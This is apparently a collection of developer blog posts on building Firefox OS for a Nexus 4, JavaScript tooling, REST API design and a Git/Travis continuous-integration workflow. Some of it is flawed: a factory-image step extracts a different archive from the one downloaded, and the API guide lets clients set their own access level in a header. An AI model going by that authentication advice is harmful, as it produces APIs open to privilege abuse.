wget https://github.com/ubports/ubports-installer/releases/download/0.1.9-beta/ubports-installer_0.1.9-beta_amd64.deb -O /tmp/ubports.deb
sudo dpkg -i /tmp/ubports.deb
ubports-installer

Building and installing Firefox OS

For Nexus 4

Plug in your phone, enable the developer mode and USB debugging.

First step: flash your Nexus 4 with Android 4.3

sudo apt-get install android-tools-adb
wget https://dl.google.com/dl/android/aosp/mantaray-jwr66y-factory-3d8252dd.tgz
tar xvzf occam-jwr66y-factory-74b1deab.tgz
cd occam-jwr66y
./flash-all.sh # Boot to fastboot and unlock bootloader

Second step: build Firefox OS (on a 14.04 Ubuntu)

sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install --no-install-recommends autoconf2.13 bison bzip2 ccache \
    curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git \
    lib32ncurses5-dev lib32z1-dev zlib1g:amd64 zlib1g-dev:amd64 zlib1g:i386 \
    zlib1g-dev:i386 libgl1-mesa-dev libx11-dev make zip libxml2-utils
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.6 1
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.8 2
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.6 1
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.8 2
sudo update-alternatives --set gcc "/usr/bin/gcc-4.6"
sudo update-alternatives --set g++ "/usr/bin/g++-4.6"
ccache --max-size 10GB

Plug in your phone, enable the developer mode and USB debugging.

adb pull /system /tmp/system
adb pull /data /tmp/data
adb pull /vendor /tmp/vendor
git clone git://github.com/mozilla-b2g/B2G.git
cd B2G
git pull
./repo sync
./config nexus-4
./build.sh

Third step: install it

./flash.sh

Some additional settings

cd gaia
make reset-gaia PRODUCTION=1
mkdir -p locales
sudo aptitude install mercurial
rm -rf locales/fr
hg clone http://hg.mozilla.org/gaia-l10n/fr locales/fr
export LOCALE_BASEDIR=$PWD/locales
export LOCALES_FILE=$PWD/locales/languages_dev.json
export GAIA_DEFAULT_LOCALE=en
export GAIA_KEYBOARD_LAYOUTS=en,fr
rm locales/languages_dev.json -f
echo '{
 "en-US"     : "English (US)",
 "fr"        : "Français"
}' > locales/languages_dev.json
make clean && make production LOCALES_FILE=locales/languages_dev.json

More information.

Other alternatives

Resources For Databases

2015-10-29T11:30:00+01:00

General

PostgreSQL

Introduction To Functional Programming

2015-10-21T23:30:00+02:00

Functional programming is the new hotness... or not

Functional programming, or FP to its friends, is a quite old paradigm, but still very little used. Here are some useful resources to get started with this, easily.

Resources

General

FP with Javascript

Scala

FP patterns for Scala beginners

Haskell

Erlang

JavaScript

2015-10-21T23:00:00+02:00

Dates

Use date-fns. It is lighter than Moment.js. And it is immutable.

A word on ESlint

ESlint is probably the most popular linter for JavaScript. It is also very convenient and benefits from a large community. That is why I use it.

When I started using, I got confused by two different things: shareable configs and plugins. This thread explains the difference between the two quite well. Here is my version:

Plugins are like function definitions (a set of custom rules). Configs are like actual calls to thoses functions (pre-defined configuration of rules - like whether they're enabled or not, and how they are configured).

How to start a new JavaScript project?

⚠️ UPDATE 2025: Tutorial: publishing ESM-based npm packages with TypeScript ⚠️

If it is a simple project or a NPM package, I recommend having two distinct folders: src for sources and dist for builds.

Now, do:

git init
git add remote origin ... # If need be
npm init
yarn add --dev babel-cli babel-preset-es2015
yarn add --dev eslint
yarn add --dev eslint-config-standard \
               eslint-plugin-standard \
               eslint-plugin-promise \
               eslint-plugin-import \
               eslint-plugin-node

We use babel to transpile our code, to better support old versions of NodeJS.

Regarding the last line, the config eslint-config-standard sets the configuration of these four plugins: standard, promise, import and node. That is why we need to install them alongside the shareable config. Of course it is a config for eslint, that is why we installed it on the previous line.

Do:
```
yarn add prettier-eslint-cli
```
Normally, prettier-eslint only operates on strings, not on files. prettier-eslint-cli will provide you with a command to apply prettier-eslint on files.

What is prettier-eslint meant for? Well, under the hood it calls prettier (probably the best JavaScript formatter to date) and then eslint --fix to format your code. Twice. But there's a reason for that.

Now we need to configure eslint to tell it to use standard as its style.
To use the standard style with ESlint, create .eslint in the root directory of your project and write:
```
{
    "extends": "standard"
}
```
Add a badge to your README.md: badge.fury.io/for/js

Configure package.json:

...,
"scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "build": "babel src --presets babel-preset-es2015 --out-dir dist",
    "format": "prettier-eslint \"src/*.js\"",
    "lint": "eslint src",
    "check": "npm run lint && npm run test"
},
...

Set up environment variables if need be via .npmrc.

All set!

Resources

NodeJS

Set-up your environment

Getting Started with ESLint

Documentation

JSDoc
JSDuck

General

Some cool node/npm stuff/packages/tools

Closures

Closures are not magic

In loops, they are a common issue. Here is how to solve it:

Testing

Karma with Jasmine (edit March 14, 2017: I'd rather recommend going with Jest instead of Jasmine. Karma is different from Jest or Jasmine, it runs tests within web browsers, whereas plain Jasmine/Jest use Nodejs)

Documentation

2015-09-25T12:00:00+02:00

Create your documentation

Read the Docs

Real world documentations

Designing An Efficient REST API

2015-09-24T18:00:00+02:00

TL;DR: see the bottom.

Most of the time, the only purpose of an API is to give clients (a mobile application, a web site, a software program, a web browser, etc) access to a remote database (thus a server), for storing data (or making complex calculations sometimes). The scheme is very simple: the server waits for incoming requests and responds accordingly. On the other hand, clients occasionally send requests, either to perform an action (saving, updating or deleting data), or to retrieve data.

When it comes to designing and implementing an (REST) API, you might be seeking a standard to follow (some people are trying to create a standard) or some best practices to apply. You might also wonder which language and which framework to use (don't reinvent the wheel dude!). Actually, there are plenty of them. From the "do it from scratch in Java" to the "use this all-in-one Javascript framework", you have a lot of choices.

I've experienced real API development with two languages so far, Javascript and Scala. With the former, I used the well-known Express framework. With the latter, I used the equally well known Play Framework in its version 2.
I also used PHP and Java without any framework.

But that's not our purpose in this article. Let's move on to the big question, "How to design an efficient REST API". Then, we'll have a quick look at Express, a famous Javascript framework and one of the best for APIs, in my opinion.

In this article, I'll try to follow what someone once wrote beautifully, in order to introduce REST APIs, and gradually explain how to improve them. I assume you - the reader - have some knowledge of the HTTP protocol.

It goes without saying that you must use HTTPS to ensure privacy. This way, everything will be encrypted and anyone sniffing the network won't be able to see the content of your requests or responses. Let's dive into REST APIs now!

You said "REST"?

In "REST API", "REST" stands for "Representational State Transfer", which is the software architectural style of the web. Basically, this means that any REST API relies on the HTTP protocol (and by extension HTTPS). As a consequence, the first step is to understand all the strengths and weaknesses of HTTP in order to use everything it has to offer. I will only be referring to HTTP version 1.1 in this article, since version 2 is still hardly used overall, and quite badly supported.

It's all about resources

URLs (Uniform Resource Locator) represent resources. When designing an API, think about it as resource containers. Every end-point should represent either a resource or a list of resources. Following this, there must be two-end points per resource, the resource collection, and an individual resource within the collection:

/myresource
/myresource/{id}

If our API is hosted at https://my-api.com, then we've just created the end-points https://my-api.com/myresource and https://my-api.com/myresource/{id}. But let's try to avoid abstraction and use real examples.

We are developing a website where registered users can upload pictures. So, we need two end-points for our two entities:

/users
/pictures

Those two end-points will then allow us to get the list of either all the users, or all the pictures. Now, what if we want to know the categories of the pictures? We also need to access individual resources. Let's create other end-points:

/users/{id}
/pictures/{id}
/pictures/categories
/pictures/categories/{id}

The important thing here, is to understand that {id} is a resource's unique identifier. For users, we retrieved these unique identifiers thanks to the /users end-point (which had given us the list of users). So, /users/{id} will give us all the details about ONE resource, the targeted user. The same rule applies for any other collection of resources.

Also, /pictures/categories represent a list of resources, in our case a list of categories. But this list belongs to a "bigger" resource, a container, /pictures. It's a hierarchy. This way, we are going to get all the possible categories for any picture.

Now, let's add a feature: users can send messages to each other. How do we get all the messages sent by a specific user? And a specific message sent by a specific user? Like this:

/users/{userId}/messages
/users/{userId}/messages/{messageId}

Naming convention

To remain consistent, try to use the plural form of every word used for your end-points, it will make things easier. camelCase is also a good practice, when necessary (but we always try to use simple single words).

Methods (also called verbs)

One of the biggest strengths of HTTP is its verbs. The most popular are GET and POST. The latter is mostly used for asynchronous calls (AJAX) or forms in web pages, whereas the former is used every time a page is accessed or reloaded from a browser.

So, what are the equivalent verbs for our old friend called CRUD (Create, Read, Update and Delete)? PUT, GET, POST and DELETE. Consequently, any well designed REST API must make use of at least these four verbs. And yes, HTTP has more than four verbs.

For example, this is how to create, get, update and delete a specific user:

POST   /users      # Create
PUT    /users/{id} # Create
GET    /users/{id} # Get
PUT    /users/{id} # Update
DELETE /users/{id} # Delete

Here, the important thing is that PUT is used to create a specific resource (a user), whose identifier has been chosen by the client. Then, the second PUT updates the newly created resource. POST is only dedicated to creating resources, unlike PUT that will mostly be used to update, but can also be used to create. When you want to create a resource without specifying its identifier, use POST, like in the first line, where a user is signing up (then the API will create an identifier for this user). Logging in would be achieved like this:

POST /users/login

More information about verbs.

Understanding HTTP

At this point, I need to add some explanation about the HTTP protocol. Every HTTP transaction (request or response) is made of three main parts:

An initial line
Some headers
The body, separated from the headers by a blank line

For requests, the initial line is made of a verb, a URL and the HTTP version used. For instance:

GET /users HTTP/1.1

On the other hand, for responses, it's a bit different: the HTTP version, a response status code and an English reason phrase describing the status code, like in the following example:

HTTP/1.1 404 Not Found

A typical simple request would look like this:

POST /users/123 HTTP/1.1
Host: my-api.com
Content-Type: application/x-www-form-urlencoded

name=Jon&lastName=Snow

And a (non-related) response (I chose a random header):

HTTP/1.1 200 OK
Expires: Thu, 24 Sep 2015 19:36:25 GMT

Hello world

That said, let’s get back to APIs.

In the previous sections we learned the correct use of the HTTP verbs, so now let's talk about the body and the status code. Headers will come later.

Transmitting data

How can a client update a user on the server? What if someone wants to update their biography for example? Or wants to mention their age? Likewise, how does the server respond and send data back to clients? Here come the status codes and the body.

Basically, clients need to send one type of information in the body: data to be put into the remote database, via a PUT or POST request. It can be either to create a new resource or to update it (it depends on the HTTP verb used).

On the other hand, the server can send different types of information:

Via the status code:
How the request was handled
In headers:
Metadata
In the body:
A resource or a list of resources, in response to a GET request.
Some details about a resource newly created, in response to a PUT or POST request. For example, the resource's unique identifier or URL, to access this resource.

As you can see, the body is only dedicated to the requested resources(s). That's all. All other useful information must be transmitted via the HTTP status code or headers.

The status code

Want to tell the client the resource has been created? Use the code 201. Want to say something went wrong? 500. Forbidden? 403. Resource not found? 404. Choose the right one.

Here are the most used status codes for an API:

Status code	Used in response to
200 OK	GET
201 Created	PUT (when creating a resource), POST
202 Accepted	PUT, POST
204 No Content	PUT, DELETE
301 Moved Permanently	GET, PUT, POST
400 Bad request	Any
401 Unauthorized	Any
403 Forbidden	Any
404 Not Found	GET, PUT (when updating), DELETE
500 Internal Server Error	Any

The HTTP protocol is very flexible, allowing us to use any non existing code if needed and relevant, when none of them fits our needs. For example, the range 550-599 can be used freely, the way you want.

Need help in choosing the correct status code?

The body

Sending parameters, from HTML forms, is pretty easy, it's a key-value thing, where parameters are separated by "&", like this:

firstName=Jon&lastName=Snow

Here, there's no recommended convention. I used camelCase (as shown above) without any particular reason. Choose one and be consistent.

However, out of the context of HTML forms, how to format the body? Well, one could say we could use the same key-value format, but actually, it's not a good idea. Let's see what options we have.

A historic battle: XML vs. JSON or SOAP vs. REST

You have two main options: XML or JSON. Nowadays, a lot of people use JSON. I won't try to defend JSON here, please read this comparison or the official description.

To briefly sum it up, JSON brings efficiency, lightness and high-readability in a single format. Additionally, it's extremely easy to parse with any language, thanks to a great integration and a lot of support. It’s definitely the most popular format when dealing with APIs. You can easily create a single object or an array of objects.

Just keep in mind that JSON is probably your best ally.

A particular header

Earlier on, we saw that the second part of every HTTP request is the headers section. Let me introduce one of them, probably the most important one: Content-Type.

Its only purpose is to specify what kind of data we are sending. Consequently, in our case, this header should be like:

Content-Type: application/json

Basically, its value is just a MIME type.

Real world example

A POST request sent by the client:

POST /users HTTP/1.1
Host: my-api.com
Content-Type: application/json

{
    "name": "Jon Snow",
    "bad_guys_killed": 200,
    "skills":
        [
            {"name": "Warrior"},
            {"name": "Member of the Night's Watch"}
        ],
    "is_a_badass": true
}

Basically, its value is just a MIME type. To such a request, the response the server would send back:

HTTP/1.1 201 Created
Content-Type: application/json

{
    "id": 123
}

We can see that the server created the resource (thanks to the status code). It also gives us its ID, JSON-formatted. Then, we can do:

GET /users/123 HTTP/1.1
Host: my-api.com

We would get:

HTTP/1.1 200 OK
Content-Type: application/json

{
    "id": 123,
    "name": "Jon Snow",
    "bad_guys_killed": 200,
    "skills":
        [
            {"name": "Warrior"},
            {"name": "Member of the Night's Watch"}
        ],
    "is_a_badass": true,
    "created_at": "2015-09-02T17:05:22.996Z",
    "updated_at": "2015-09-02T17:05:22.996Z"
}

At this point, our API is able to do the four basic operations we needed (CRUD, remember?), on any kind of entity, easily, thanks to a pretty format, JSON. End-points are semantic and hierarchically ordered. Everything is perfect.

But... (there's always a but).

We don't take advantage of all the strengths of HTTP. Headers, you remember? And what if we want to apply some filters to our GET requests? Sorting? What about pagination? Getting your 1M users in a single response body isn't a good idea, trust me.

More importantly, what about security? Authentication? But first, let's talk about HATEOAS...

HATEOAS, the Holy Grail

Most of the time, to access a specific resource, you need to:

Get the list of resources, e.g. GET /users
Find the unique identifier of the targeted resource in this list
Construct its URL, often https://<domain>/<list-of-resources>/<id>, e.g. https://my-api.com/users/123
Finally, do GET /users/123

Another approach would be providing directly every resource's URL in the list (among other links if necessary), like this:

[
    {
        "id": 123,
        name: "Jon Snow",
        "links":
            [
                {
                    "rel": "self",
                    "href": "https://my-api.com/users/123"
                },
                {
                    "ref": "list",
                    "href": "https://my-api.com/users"
                }
            ],
        "bad_guys_killed": 200,
        ...
    },
    {
        "id": 124,
        ...
    }
]

Instead of providing the full URL, you might as well only provide the path name:

"links":
    [
        {
            "rel": "self",
            "href": "/users/123"
        },
        ...
    ]

I'm not a huge fan of HATEOAS. I believe that an API should be consistent in its manner of accessing resources. I like to assume that, as soon as I know a resource's unique identifier, I can access it by constructing its URL, as I explained above. So, I don't need the links, I can construct them by myself.

But I'm wrong. This is definitely the best way to do. It adds a layer of abstraction. If one day you change the way to access a resource (not with a unique identifier anymore, but with a token, or an email address, or anything), if you always provided the link for each resource, the change would be transparent for your users.

Headers are metadata

A great thing to consider is that the body must only contain the requested resource(s). Any other piece of information must go to the headers. Furthermore, you can create any header you want.

Authentication

There are two major concepts under the name of authentication.

Sign up/Log in/Log out: user management
Authorization: restricting the access to the API

User management can be be achieved with cookies. This way, you can restrict some end-points to logged in users only.

In parallel, you might want to restrict the entire API to specific clients. One could say "Use basic authentication", but that doesn't really fit our need since it's not the original purpose of basic auth.

What you can do instead is quite easy: create as many HTTP headers as you want and send (secret) keys on every request. For example, let's create a key to make sure we're accessing the right app, and another one to define the access level granted:

POST /users HTTP/1.1
Host: my-api.com
Content-Type: application/json
Security-APP-ID: 123456
Security-Access-Level: 3

{
    "name": "Jon Snow"
}

Obviously, as I said in the beginning of this article, all of this doesn't make sense at all if you don't use HTTPS (and force it!). You really don't want to expose such keys to anyone on the network.

More information about authentication and about security in general.

Location

Another useful header is Location. A good practice is to use it after creating a resource with POST, to give back the location of the resource newly created. This way, no body is needed and your API can respond with a status code 201 Created, without a body. For example, after creating the user Jon Snow, we would get:

HTTP/1.1 201 Created
Location: https://my-api.com/users/123

The protocol and domain are optional, we could just send /users/123.

Other useful piece of information

Basically, you can create as many custom headers as you want. A good practice with end-points returning a list of resources, is to give the total number of records in the database when relevant, via a header. You may wonder why, since we can programmatically count the number of results. But, as I will explain it in the next section, you are never going to return the full list of results in a single response.

So, this is an example of a header specifying the number of rows. The request:

GET /users HTTP/1.1
Host: my-api.com

The response:

HTTP/1.1 200 OK
Content-Type: application/json
Total-Rows: 7897

[
    {
        id: 1,
        ...
    },
    ...
]

Pagination

When returning a list of resources, above a certain number or results, you should split your response in pages. It's a good practice for reducing waiting time and the weight of responses. Moreover, you might not need the whole list at once. Depending on the amount of details provided for each resource, a general rule would be returning between 100 and 1000 results per request as a maximum.

Requesting a page is as simple as providing a query parameter:

GET /users?page=3

On the server side, you would just skip the <number-of-results-per-page>*<number-of-page> first users. Pages start at 0.

For instance, if you return 100 users per request, with page 0 you would skip no one and simply returns the first 100 users (from 0 to 99). On page 1, you skip the first 100 users from your database and return the users from 100 to 199, and so on.

But there's a problem...

Let's say you have 10 users in your database. Every GET /users returns 3 users at most, sorted by age.

In SQL, this would be something like:

SELECT id, name, age FROM users ORDER BY AGE LIMIT 3 OFFSET x;
/* where x equals 3*<number of page> */

You'll then have 3 pages.

Page 0	Page 1	Page 2
45, Jon, 20	55, Alice, 30	99, Pete, 37
87, Laura, 23	9, Bob, 33	1, Cindy, 39
3, Jean, 25	2, Helen, 36	78, Max, 40

Here is a scenario:

GET /users?page=0: fine, you get results from Jon (id 45) to Jean (id 3).
A new user (Mary) signs up on your website/mobile application, aged of 24.
GET /users?page=1: you get results from Jean to Bob. You got the same person twice (Jean), this is a problem.

What happened?

As Mary is 24 and the API returns results sorted by age, Mary would be returned on page 0, which shifts Jean to page 1.

A good way to solve this problem is to create a pagination based on an entity (here, a user). Instead of requesting a particular page, you would say to the API "give me results after this user" or "before this user". Let me explain it by replaying our scenario:

GET /users: no pagination specified, fine, you get results from Jon (id 45) to Jean (id 3)
A new user (Mary) signs up on your website/mobile application, aged of 24.
GET /users?pageAfter=3: since the last person of our previous results had an id of 3, we request the users after that ID. This way, we make sure we won't get duplicated results.

To achieve this, you can either write a more complex SQL query of simply do the pagination programmatically.

The only problem that still remains is that, by doing this, we have no way to retrieve Mary, except if we request page 0 again, by doing this, for example:

GET /users?pageBefore=3

Two last things:

Always enable pagination, even if your entire collection is small and will never grow. Like this, you API's users won't get lost. The API remains consistent.
If a page returns this entire collection, use the status code 200. Otherwise, use the status code 206 (Partial Content)

More information about pagination.

Filtering and sorting

Every end-point that returns a list of resource should allow filtering on fields, as well as sorting. The following request should be possible:

GET /users?country=US&age=21&sortBy=name

We request all the users from the US, aged of 21, sorted by name. The inner mechanism is up to the developers.

We're done! Now, you know how to build efficient and robust APIs.

Building an efficient API involves many aspects to consider, and most of all, requires a good knowledge of HTTP. It's time-consuming at first sight, but once you know what you're doing, what your needs are in terms of features, it's pretty straightforward. Considering all aspects right at the beginning, like security or the database architecture and how you would like to expose it, is key. That's what is called designing an architecture, and one should pay heed to it. When properly and carefully done, the API implementation job is fairly easy.

What are the next steps?

Add a documentation for other developers who use your API

apidoc (I really like this one, very easy)
Swagger.io (good reputation, altough I never tried it)
A full list of most common API editors.

Going further: create a CLI

Make you API public! Create a documentation and a NPM package to ease the work for developers. Read how Clever Cloud did it.

cliparse

Quick example with Express.js

Express ease the process of developing APIs with Javascript so much! You should definitely give it a try!

npm init
npm install -g express # Globally, to be able to use the CLI of express
npm install -S express # Locally, added as a dependency

Here is how to define a little API with Express (I only wrote the most important lines). Every controller defines many functions to handle the end-points (storing data into the database, etc.).

In this example, the access to all the end-points is restricted, with a middleware called auth. The clients need to provide specific headers in order to perfom actions with the API.

var express = require('express');

// Controllers
var usersController       = require('cloud/controllers/users.js'),
    categoriesController  = require('cloud/controllers/category.js');

// Configuration
var app  = express(),
    auth = require('cloud/functions/security');

app.use(express.methodOverride()); // Allow PUT and DELETE

/*** API ***/
// Users
app.get('/users',             auth.users, usersController.all);
app.get('/users/:id',         auth.users, usersController.get);
app.post('/users',            auth.users, usersController.signup);
app.post('/users/login',      auth.users, usersController.login);
app.put('/users/:id',         auth.users, usersController.edit);
app._delete('/users/:id',     auth.users, usersController._delete);

// In case of failure
app.use(function(err, req, res, next) {
    // Some logging
    console.log(err);
    res.status(err.code).json({error: err.message});
});

// Let it beee
app.listen();

That's it! With only a few lines, you can easily get a working API.

This is now the end of this article, hope it will help you! Any feedback appreciated ;)

TL;DR

Here is a little recap of everything above:

End-points represent either an individual resource or a collection of resources
Use HTTPS verbs: GET, PUT, POST and DELETE
Use HTTP status codes (those already existing or yours)
Use JSON
The body must only contain the requested information. It can be either:
A resource or partial details about a resource (JSON object)
A list of resources (JSON array): also provide full link with each resource (https://my-api/users/123 for example)
Metadata must be put inside headers
Number of rows when returning a list of results (added by the server)
Secret keys for authentication/restricting access to the API (added by the client)
Cookies for user management
Use the Location header (with the status code 201 Created, but without a body) after creating a resource with POST, to give the resource's link
Use query parameters
Filtering: GET /users?country=US&age=21
Sorting: GET /users?sortBy=name
Pagination: GET /users?pageAfter=3
- Always enable pagination on any collection, even for the small ones
- Pagination must be based on "after a resource's identifier" or "before a resource's identifier" to avoid duplicate content across pages
- Use the status code 200 when the entire collection fits in one page, otherwise 206

Going further

Continuous Integration

2015-09-18T11:29:00+02:00

After having experienced software development in many languages, from desktop programs to mobile applications and web sites, comes a moment when I felt compelled to standardize my software development process. In the last couple of months, we, at The Smiths, tried to define our workflow more formally by integrating continuous integration. How to properly "synchronize" a team made of many developers, "spread all around the world", in different time zones? How to make sure there is no bottleneck at any level, during the development? First, let’s have a look at the definition.

What is continuous integration? According to Wikipedia, it's:

[...] the practice, in software engineering, of merging all developer working copies to a shared mainline several times a day.

But not only. It's much more than this. Let's dive into continuous integration.

Purpose

Continuous integration is an entire concept that tries to ease software development by making things much easier and more flexible. Like agile methodology, it's been getting more and more popular since the beginning of the 2000's. Nowadays, it tends to be widely adopted in any kind of software company.

Effortless automation

Continuous integration is mostly about automation. By this, I mean being able to deploy flawlessly, many times a day. Like Quentin Adam is used to saying,

Hosting has to become a commodity.

The same applies for documentation generation, testing and deploying. Repetitive tasks are most of the time painful and should be performed by computers.

Continuous testing

Every new release should be tested. Automatically. Without any human intervention. In a safe and minimal environment, not a human's environment with tons of programs, custom environment variables, outdated dependencies, etc. It's a human job to design the tests but running and validating them is a machine job. This way, the results can be shared with an entire team over automatic emails and archived.

Documentation

Writting documentation is for humans. Generating it is for machines. Again, it's a repetitive task that no one should be assigned. It's a waste of time. Machines can do it instead of us, at the right time, usually when a new release is about to come out. Furthermore, machines don't forget to bump the version numbers.

Deploying

With continuous integration, deploying should be as simple as a git push. When time has come for deployment, no one has to use ssh or rcp, not even ftp. It's unsafe insofar as it's too much of a risk to let a human get inside a production machine. A developer has nothing to do in a production machine, as long as all the tests have been passed before pushing to production. All one can do is breaking something. A production machine is meant to be administrated by a sysadmin, no one else. Once it's set up, the only action required by developers is pushing code when it's ready to go live.

It's the same story for releases. Packaging and releasing a new version must be a simple task anyone can do, not only the CTO, regardless of the OS, configuration, and so on.

Why

Now that I exposed the principles of continuous integration, the question you may want to ask is "Yes, but why?". Indeed, prior to continuous integration, everything was already working well, more or less. So, you might wonder how anyone can benefit from continuous integration.

In fact, continuous integration should simply be regarded as an entire development workflow. It enables your team of developers (or even a single developer) to be more agile. You can easily get rid of god-awful tasks without actually deleting them, just by delegating them to computers.

In parallel, you can improve maintainability and evolutivity of the software produced by adopting the right versioning and bug tracking tools. How? Let's take an example.

Remember in the old days, when you used to package your code into a zip file and name it according to the version? How boring it was to keep all of those files. Was it easy to track differences between two given versions? How could you determine the changes? How could you apply hotfixes on an old (but still in use) version as well as on the latest one? How could you know which developer had written which feature? Here come the version control systems, or more simply, Git.

Another example. For every new version (and sometimes between two) you had to set up your environment correctly, generate the documentation from source code, bump the version number in both code and documentation, run unit/integration/system tests and finally, if everything goes well, compile it for as many platforms as you support (which quite often would mean a lot), and make it available on a website (or somewhere else). Well, how pleasant would it be if all of this could be achieved right after a git push?

Let's now see how to get started with continuous integration, easily.

How

Now, you might have understood that you have to use Git. And if you stil don't know why, you read read my article about Git.

In my opinion, the most important thing with continuous integration is... your Git workflow. You have to remain consistent from the beginning of a project to its end. Everyone involved has to be careful and focused at each step. Working within a big team is not something easy. Everyone has different schedules, information doesn't spread that well. That's why having a robust and error-proof Git workflow matters.

At The Smiths, we identified four main components that we wanted as core parts of our Continuous Integration process:

Semantic versioning
A Git workflow
Travis-ci.org
Agile methodology

Semantic versioning

We decided to stick to the very simple rules proposed by semver.org. Basically, it says that a version number should be something like MAJOR.MINOR.PATCH, where (what follows has been extracted from their website):

MAJOR version when you make incompatible API changes
MINOR version when you add functionality in a backwards-compatible manner
PATCH version when you make backwards-compatible bug fixes

Sticking to this rule forced us to think more about the logic behind the versions, reshape road maps more precisely, and allowed us to bump our version numbers more cleverly. We applied this to our mobile apps and Titanium widgets, bumping version numbers carefully over time.

A Successful Git Workflow

This part is clearly the most important, as it’s being used every single day by everyone. In general, it’s likely the most important aspect about continuous integration, to which we had paid a lot of attention.

After some research, we came across a very popular Git workflow, the branching model.

This picture has been taken from A successful Git branching model, by Vincent Driessen (thanks to him). Overall, it’s the best Git workflow we’ve ever encountered. So we adopted it, with some specificities: we made a few minor changes to that original branching workflow, in order to better suit our needs. It can be applied to any kind of software project. I also need to mention that we use GitHub, the most famous web-based Git repository hosting service, because it offers some great features, such as Pull requests, a bug tracker (issues), etc. Moreover, as most of our code has been open sourced (except our clients’ core apps), it’s not a problem at all. By the way, it also gives us a greater visibility, it’s like giving away our widgets to the Titanium community thanks to GitHub.

Now, let's move onto our workflow that we daily use, with Github:

Our Git workflow

There is a remote repository called origin. Then, every new developer (including the owner) has to fork this repository. The origin repo will ONLY contains two branches: master and develop.
master: contains only the stable realeases (General Availability), tagged with
git tag -a
Those are production releases.
develop: contains only stable code with newly developed features. This branch has been created with
git checkout -b develop master
It’s the latest cutting-edge release (Release Candidate). It may contains some bugs.
No one is allowed to commit into master nor into develop (except for the first commit into master, then develop is forked from master), in either origin or the forked repository. Not even locally!
There's one developer responsible for the entire project. Let's call him/her Integrator.
To add a new feature, one of the developers create a local branch called feature-x from develop and commit into it. He/she may push this branch to their own forked repository.
When this feature is fully developed and tested, and ready to go into develop, the developer creates a Pull request from the forked repository to origin (from branch feature-x to develop). Then, only one person can accept it and merge it: Integrator. He/she can also refuses it and comment about the reason(s).
If the Pull request has been accepted, everyone has to update their develop branch (locally and on their forked repo).
The same applies for hotfixes: anyone can create branches called hotfix-y and create Pull requests from them.
When time has come for a new release, Integrator merges back develop into master and tags it with a release number (according to the Semantic versioning). Then, anyone update their master branch.
Everyone is strongly encouraged to rebase on top of master as often as possible, especially before submitting PRs.

In case you're working alone on a project, no need to fork anything. Just apply the same principles to the only remote repository (Pull requests, merge, etc). You can skip Pull requests if you want so, it just helps keeping a trace of every new feature.

I've found out that this workflow works pretty well with any of our projects, might it be an entire app or a mere widget. However, as I said we've made some adjustments to the original workflow found on the Internet, making it a bit simpler to use.

Issues are also great features brought by GitHub that allow us to track down bugs and list them. One can assign people to fix an issue, and let others know of its progression thanks to emails or notifications. Issues can also be linked to specific commits which helps a lot when tracking regression bugs.

Finally, we're also taking advantage of Milestones, a GitHub feature, which can be seen as a simplified scheduler, permitting us to create deadlines with goals to reach. It's somehow a list of deadlines with progress bars automatically filled as we would create and merge Pull requests.

Some commands

To generate the message for a Pull request:

git log --pretty=oneline --abbrev-commit <branch-from>..<current-branch>
# Prints the commits you made since last merge and the associated messages

To update develop (works with master as well):

git fetch origin
git checkout develop
git merge --ff-only origin/develop
# Only fast forward is important to keep the history clear and clean

To update a feature branch (after a PR has been merged):

git fetch origin
git checkout feature-x
# Three options (choose only one):
# 1.
git merge --ff-only origin/develop
# 2. If this fails because you have commits ahead, do:
git rebase origin/develop
# 3. If you're a badass and want to ignore your own changes:
git reset --hard origin/develop

To merge a Pull request (only Ingrator is supposed to do it) and push it:

git remote add feature-x_repo git@github.com:someone/forked-repo.git
git fetch feature-x_repo feature-x
git checkout develop
git merge --no-ff feature-x_repo/feature-x # You could add --no-commit to edit files before committing
# 'no fast forward' is important to keep the history clear and clean
git push origin develop

To delete a branch (locally and remotely) once it has been merged into the main repository:

git push feature-x_repo --delete feature-x
git branch -d feature-x

Contributors

There's another approach to the scheme above. Instead of using only Pull requests, you could add other developers as contributors. This way, there's no Mr/Ms Integrator, any contributor is free to merge their features into develop. Also, feature branches can be on the remote repository.

Git branching model considered harmful

The Git workflow we used as a starting point (the branching model) has been considered harmful by someone, and thus that person proposed another model. The reading is worthwhile although I'm still not fully convinced by this alternative.

Travis, the all-in-one tool

Soon, Travis will be your best friend. But first, what is Travis?

Basically, it's an online service delivered through a website, providing sets of virtual machines started especially for a developer whenever needed. Those machines run some scripts and shut down themselves automatically. Usually, a developer sets up their Travis account to run scripts on every git push performed on a GitHub repository. However, one can configure Travis to be run with any kind of Git hook. Travis is free but they also have paid services with much more features (that we didn't require).

So, how is Travis so helpful for us?

Most common use cases of Travis

Well, one can imagine dozens of scenarios. Documentation generated from the source on every new git push in develop? Easy. Running a whole set of tests automatically? Easy as well.

Let's dream a bit further... One of the most fancy things one can do is running a set of tests, bump version numbers in the code and the documentation, compiling the software program and generating the updated documentation, pushing the binaries to Amazon S3 and the documentation to GitHub Pages, and making the whole set available to everyone, automatically! And yes, Travis, can push into specific branches as well. That might be really useful to update web pages automatically (a link to the latest stable release, listed on a download page, for instance).

That is definitely the most perfect and automated scenario one could imagine, but that's easily achievable, although it would take quite a long time to set it up.

An example with Github Pages

A good example is my blog (yes, the one you're reading). My articles are written in Markdown and contained in the branch master. However, what you're reading, is a Github page (contained in a branch called gh-pages). What is happening hunder the hood is that, every time I push on master, Travis fetches it, generates the HTML pages from the Markdown files, and pushes them to the branch gh-pages on Github. This way, my blog gets updated automatically.

I followed this tutorial to do that (and this presentation as well).

How does it work

At the root of your repo, just add a .travis.yml with some pieces of configuration inside. And you're done! A few more options are available on their web interface as well.

You can have a look at my .travis.yml for this blog.

Tips with Travis

Get a new token from Github in order to give Travis access to your repo
In travis, disable Build on Pull requests, enable only if .travis.yml is present

Agile methodology

Last but not least, agile methodology. Behind that term that sounds rather complex is a concept pretty simple. In Computer Science, we use the term "Agile Software Development". Wikipedia says:

Agile Software Development is a set of software development methods in which requirements and solutions evolve through collaboration between self-organizing, cross-functional teams. It promotes adaptive planning, evolutionary development, early delivery, continuous improvement, and encourages rapid and flexible response to change.

